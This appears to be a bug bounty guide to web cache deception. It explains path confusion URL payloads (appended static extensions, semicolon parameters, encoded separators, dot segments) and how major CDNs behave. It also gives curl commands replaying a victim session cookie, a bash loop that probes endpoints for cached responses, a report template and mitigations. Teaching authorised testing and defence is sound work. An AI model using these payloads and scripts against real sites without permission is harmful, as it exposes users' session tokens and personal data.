Web cache deception exploits a mismatch between how the origin server and the caching layer interpret a URL — the origin serves dynamic content while the cache stores it as static
A single successful cache deception attack can expose session tokens, PII, CSRF tokens, and account data for any victim who clicks a crafted link
Path confusion techniques — appending /profile/settings/x.css, using path parameters, or encoding tricks — are the primary attack vectors
Testing requires only a browser and an understanding of the target's caching behavior — no specialized tools needed
Severity is typically High to Critical because it enables account takeover at scale with zero victim interaction beyond clicking a link
## What Is Web Cache Deception?
Web cache deception (WCD) is an attack where an adversary tricks a caching layer into storing a victim's private, dynamic response under a URL that the cache considers publicly cacheable. Once cached, anyone — including the attacker — can request that URL and receive the victim's sensitive data.
The attack was first documented by Omer Gil in 2017, but it remains widely exploitable in 2026 because modern CDN configurations, microservice architectures, and framework routing behaviors continue to create the exact mismatch WCD requires.
### Cache Deception vs. Cache Poisoning
These two cache attacks are often confused but work in opposite directions:
| | Cache Deception | Cache Poisoning |
|---|---|---|
| **Goal** | Steal victim's private data from cache | Inject attacker's payload into cache |
| **Who is harmed** | The victim whose data is cached | Users who receive the poisoned response |
| **Mechanism** | Trick cache into storing dynamic response | Trick cache into storing malicious response |
| **Attacker controls** | The URL path | Request headers or unkeyed inputs |
For cache poisoning techniques, see our [HTTP Parameter Pollution guide](/articles/http-parameter-pollution-bug-bounty-guide-2026/).
## How Web Cache Deception Works
The attack relies on a fundamental disagreement between two components:
1. **The origin server** receives a request for `/account/settings/nonexistent.css` and — because of its routing logic — ignores the trailing path segment and serves the dynamic `/account/settings` page with the authenticated user's data.
2. **The caching layer** sees the `.css` extension in the URL and decides this is a static asset that should be cached and served to subsequent requesters.
### Attack Flow
```
1. Attacker crafts URL: https://target.com/account/settings/x.css
2. Attacker sends this link to victim (phishing, social engineering, embedded in page)
3. Victim clicks link while authenticated
4. Origin server serves victim's /account/settings page (ignores /x.css)
5. CDN caches the response because the URL ends in .css
6. Attacker requests https://target.com/account/settings/x.css
7. CDN serves cached response containing victim's private data
```
## Path Confusion Techniques
The core of WCD exploitation is finding a URL structure that the origin and cache interpret differently. Here are the primary techniques:
### 1. Static Extension Appending
The simplest approach — append a cacheable file extension to a dynamic endpoint:
```
https://target.com/api/me/profile.css
https://target.com/dashboard/settings.js
https://target.com/account/billing.png
https://target.com/user/notifications.svg
```
This works when the origin framework uses path-prefix routing (e.g., `/account/*` routes to the account controller regardless of what follows).
### 2. Path Parameter Injection
Some frameworks support path parameters using semicolons, which caches may ignore:
```
https://target.com/account/settings;x.css
https://target.com/profile;cachebust=1.js
```
Tomcat, Jetty, and some Spring Boot configurations parse semicolons as path parameters. The CDN sees `.css` and caches; the origin sees `/account/settings` with a discarded parameter.
### 3. Encoded Path Separators
URL-encoded characters can create path confusion:
```
https://target.com/account/settings%2fx.css
https://target.com/account/settings%23.css
```
If the cache normalizes `%2f` to `/` but the origin does not (or vice versa), the two components disagree on the path structure.
### 4. Dot Segment Abuse
Path traversal segments that resolve differently:
```
https://target.com/static/../account/settings
https://target.com/account/settings/./cacheable.css
```
### 5. Filename Injection in REST APIs
REST APIs that ignore trailing path segments:
```
https://target.com/api/v2/user/me/avatar.png
https://target.com/api/v2/user/profile/photo.jpg
```
## Identifying Vulnerable Targets
### Step 1: Map Authenticated Dynamic Endpoints
Look for pages that return user-specific content:
- Account settings / profile pages
- Dashboard views
- API endpoints returning user data (`/api/me`, `/api/user/profile`)
- Order history, billing pages
- Notification feeds
### Step 2: Identify the Caching Layer
Determine what sits between you and the origin:
- Check response headers: `X-Cache`, `CF-Cache-Status`, `X-Varnish`, `Age`, `X-CDN`
- Look for `Via` headers indicating proxy chains
- Check `Cache-Control` and `Vary` headers to understand caching rules
- Use `curl -I` to inspect headers without rendering
```bash
curl -sI https://target.com/account/settings | grep -iE 'cache|cdn|via|age|x-varnish|cf-'
```
### Step 3: Test Path Confusion
For each dynamic endpoint, try appending static extensions and check:
1. Does the origin still serve the dynamic content? (Check response body)
2. Does the cache store it? (Check `X-Cache: HIT` on second request)
```bash
# First request — should be a MISS, response contains private data
curl -s -H "Cookie: session=VICTIM_TOKEN" \
https://target.com/account/settings/x.css | head -50
# Second request — unauthenticated, check for HIT
curl -sI https://target.com/account/settings/x.css | grep -i cache
```
## CDN-Specific Behaviors
### Cloudflare
Cloudflare caches based on file extension by default. Extensions like `.css`, `.js`, `.png`, `.jpg`, `.svg`, `.woff2` are cached automatically. Test with:
```
/dynamic-page/test.css
/dynamic-page/test.png
```
Check `CF-Cache-Status: HIT` in response headers.
### Akamai
Akamai's caching rules are highly configurable per property. Look for:
- Default caching rules based on extension
- `X-Cache: TCP_HIT` or `X-Cache: TCP_MISS`
- Path-based caching rules that may be overly broad
### AWS CloudFront
CloudFront caching depends on behavior patterns configured in the distribution. Common misconfigurations:
- Wildcard path patterns (`/*.css`) that match appended extensions
- Missing `Cache-Control: no-store` on dynamic endpoints
- Check `X-Cache: Hit from cloudfront`
### Varnish
Varnish configurations often cache based on URL patterns in VCL:
```
if (req.url ~ "\.(css|js|png|jpg|gif|svg)$") {
return (hash);
}
```
This regex matches any URL ending in these extensions — including `/account/settings/x.css`.
## Real-World Exploitation Scenarios
### Scenario 1: Account Takeover via Cached Session Token
If the dynamic page includes a CSRF token or session identifier in the HTML:
```html
```
The attacker retrieves the cached page, extracts the token, and uses it to perform actions as the victim.
### Scenario 2: PII Exfiltration
Account pages often display:
- Email addresses
- Phone numbers
- Billing addresses
- Partial payment information
- API keys or webhook URLs
A cached response exposes all of this to the attacker.
### Scenario 3: Chaining with Open Redirect
If the target has an open redirect, the attacker can chain it:
```
https://target.com/redirect?url=/account/settings/x.css
```
The victim follows the redirect, their authenticated response gets cached, and the attacker retrieves it.
## Automation and Tooling
### Manual Testing Script
```bash
#!/bin/bash
TARGET="https://target.com"
ENDPOINTS=("/account/settings" "/api/me" "/dashboard" "/profile")
EXTENSIONS=(".css" ".js" ".png" ".svg" ".ico")
for endpoint in "${ENDPOINTS[@]}"; do
for ext in "${EXTENSIONS[@]}"; do
url="${TARGET}${endpoint}/cachebust${RANDOM}${ext}"
status=$(curl -sI "$url" | grep -i "cf-cache-status\|x-cache" | head -1)
echo "$url → $status"
done
done
```
### Burp Suite Approach
1. Browse the target while authenticated — map all dynamic endpoints
2. For each endpoint, use Intruder to append static extensions
3. Check responses for: (a) dynamic content still present, (b) cache headers indicating storage
4. Replay without cookies to confirm cached data is accessible
### Nuclei Template
The Nuclei project includes web cache deception detection templates. Run:
```bash
nuclei -u https://target.com -t http/vulnerabilities/web-cache-deception.yaml
```
## Writing the Bug Bounty Report
### Severity Justification
Web cache deception is typically rated **High** or **Critical**:
- **Critical**: If cached responses contain session tokens, API keys, or data enabling account takeover
- **High**: If cached responses expose PII or sensitive account data
- **Medium**: If cached responses expose non-sensitive but private user data
### Report Template
```
## Title
Web Cache Deception on [endpoint] exposes authenticated user data via CDN caching
## Summary
The endpoint [URL] is vulnerable to web cache deception. By appending a static
file extension to the URL path, an attacker can trick the CDN into caching the
authenticated response, then retrieve the victim's private data.
## Steps to Reproduce
1. Log in to the application
2. Visit: [crafted URL]
3. Note the response contains your private account data
4. Open a private/incognito browser (no cookies)
5. Visit the same URL
6. Observe the cached response contains the victim's private data
## Impact
An attacker can steal [specific data: session tokens, PII, CSRF tokens] from
any authenticated user who clicks a crafted link. This enables [account takeover /
data exfiltration] at scale.
## Remediation
- Configure the CDN to respect origin Cache-Control headers
- Add Cache-Control: no-store to all authenticated endpoints
- Validate URL paths strictly — return 404 for unexpected path segments
- Use cache keys that include authentication state
```
## Defenses and Mitigations
Understanding defenses helps you identify when they're incomplete:
1. **Strict Cache-Control headers**: `Cache-Control: no-store, private` on all authenticated responses
2. **Path validation**: Origin returns 404 for unexpected trailing path segments
3. **Cache key includes Vary: Cookie**: Cache stores separate entries per session (but this has performance implications)
4. **CDN configuration**: Only cache responses from explicitly designated static asset paths, not based on URL extension
5. **Content-Type validation**: CDN only caches responses where the `Content-Type` matches the expected type for the file extension
When testing, check if any of these defenses are partially implemented — partial defenses often have bypasses.
## Related Techniques
- [HTTP Parameter Pollution](/articles/http-parameter-pollution-bug-bounty-guide-2026/) — another technique exploiting parser differentials
- [Prototype Pollution](/articles/prototype-pollution-bug-bounty-guide-2026/) — client-side attacks that can chain with cache deception
- [GraphQL Subscription Abuse](/articles/graphql-subscription-abuse-bug-bounty-guide-2026/) — API-layer attacks on modern architectures
- [WebSocket Security Testing](/articles/websocket-security-testing-bug-bounty-guide-2026/) — testing real-time communication layers
## Conclusion
Web cache deception remains one of the most impactful and underreported vulnerability classes in bug bounty. The attack requires minimal tooling, chains well with other vulnerabilities, and consistently yields high-severity findings. As CDN adoption continues to grow and microservice architectures add more routing layers, the attack surface for path confusion only increases.
Focus your testing on authenticated endpoints behind CDNs, experiment with multiple path confusion techniques per target, and always verify the cached response is accessible without authentication before reporting.